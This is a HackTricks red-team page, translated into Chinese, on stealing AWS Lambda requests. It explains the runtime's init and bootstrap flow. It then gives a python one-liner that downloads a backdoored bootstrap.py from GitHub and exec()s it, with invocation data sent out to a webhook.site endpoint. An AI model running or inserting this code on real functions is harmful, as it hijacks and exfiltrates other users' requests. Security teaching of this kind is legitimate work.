AWS - Steal Lambda Requests
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Lambda Flow
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer 是一个在容器外部的进程,发送 调用 到 init 进程。
- init 进程监听端口 9001,暴露一些有趣的端点:
/2018-06-01/runtime/invocation/next– 获取下一个调用事件/2018-06-01/runtime/invocation/{invoke-id}/response– 返回调用的处理程序响应/2018-06-01/runtime/invocation/{invoke-id}/error– 返回执行错误
- bootstrap.py 有一个循环从 init 进程获取调用,并调用用户代码来处理它们 (
/next). - 最后,bootstrap.py 将 响应 发送给 init
注意,bootstrap 将用户代码作为模块加载,因此用户代码执行的任何代码实际上都是在这个进程中发生的。
Stealing Lambda Requests
此攻击的目标是使用户代码在处理易受攻击请求的 bootstrap.py 进程内部执行一个恶意的 bootstrap.py 进程。这样,恶意 bootstrap 进程将开始 与 init 进程通信 以处理请求,而 合法 的 bootstrap 被 困住 运行恶意进程,因此它不会向 init 进程请求请求。
这是一个简单的任务,因为用户的代码是由合法的 bootstrap.py 进程执行的。因此攻击者可以:
- 向 init 进程发送当前调用的假结果,使 init 认为 bootstrap 进程正在等待更多调用。
- 必须向
/${invoke-id}/response发送请求 - invoke-id 可以通过使用 inspect python 模块从合法的
bootstrap.py进程的堆栈中获取(如 这里所提议的)或再次请求/2018-06-01/runtime/invocation/next(如 这里所提议的)。 - 执行一个恶意的
boostrap.py,它将处理下一个调用 - 为了隐蔽性,可以将 lambda 调用参数发送到攻击者控制的 C2,然后像往常一样处理请求。
- 对于此攻击,只需从系统或 github 获取原始的
bootstrap.py代码,添加恶意代码并从当前 lambda 调用中运行它即可。
Attack Steps
- 找到一个 RCE 漏洞。
- 生成一个 恶意 bootstrap(例如 https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- 执行 恶意 bootstrap。
您可以轻松地通过运行以下命令来执行这些操作:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
有关更多信息,请查看 https://github.com/carlospolop/lambda_bootstrap_switcher
参考文献
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

